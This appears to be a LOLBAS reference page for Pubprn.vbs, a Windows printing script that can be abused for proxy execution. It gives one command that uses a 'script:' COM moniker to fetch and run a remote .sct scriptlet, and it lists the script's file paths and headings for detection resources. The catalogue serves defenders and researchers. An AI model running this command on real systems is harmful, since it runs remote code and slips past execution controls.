LOLBAS. GitHub
LIVING OFF THE LAND / OS SCRIPTS

Pubprn.vbs

View source

Proxy execution with Pubprn.vbs

Execute
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
02DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Execute1

EXAMPLE 01T1216.001

Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection

COMMAND
pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}
USE CASE
Proxy execution
PRIVILEGES
User
OPERATING SYSTEM
Windows 10
Execute · SCT
02 / ON DISK

Known paths

C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

2 resources
REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Matt Nelson@enigma0x3